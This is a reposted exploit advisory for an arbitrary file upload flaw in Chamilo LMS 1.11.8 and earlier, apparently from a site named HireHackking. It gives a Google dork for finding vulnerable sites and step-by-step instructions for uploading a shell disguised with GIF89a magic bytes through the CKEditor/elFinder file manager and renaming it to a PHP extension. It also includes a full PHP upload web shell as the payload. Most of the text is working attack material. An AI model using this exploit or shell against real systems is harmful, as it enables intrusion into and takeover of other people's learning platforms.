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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload 
# Google Dork: "powered by chamilo"
# Date: 2018-10-05
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link: https://chamilo.org/en/download/
# Version: Chamilo 1.11.8 or lower to 1.8 
# Category: webapps

# 1. Description
# Any registered user can upload files and rename and change the file type to 
# php5 or php7 by ckeditor module in my files section 

# register here :
# http://localhost/chamilo//main/auth/inscription.php
# after registration you can view this sections 
# http://localhost/chamilo/main/social/myfiles.php
# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0
# upload your shell in gif format and then rename the format 
# if the rename function was desabled and add this  GIF89;aGIF89;aGIF89;a   before <?PHP
# to be like this for examlple

GIF89;aGIF89;aGIF89;a<html>
 <head>
  <title>PHP Test</title>
  <form action="" method="post" enctype="multipart/form-data">
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="upload file" name="submit">
  </form>
 </head>
 <body>
 <?php echo '<p>FILE UPLOAD</p><br>';
 $tgt_dir = "uploads/";
 $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
 echo "<br>TARGET FILE= ".$tgt_file;
 //$filename = $_FILES['fileToUpload']['name'];
 echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
 if(isset($_POST['submit']))
 {
 if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
    { echo "<br>file exists, try with another name"; }
 else   {
         echo "<br>STARTING UPLOAD PROCESS<br>";
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
        { echo "<br>File UPLOADED:- ".$tgt_file; }

          else  { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
    }
 }
?>
 </body>
</html>

# and uplaod it as php.gif
# you can browse the files form right click and click on browse option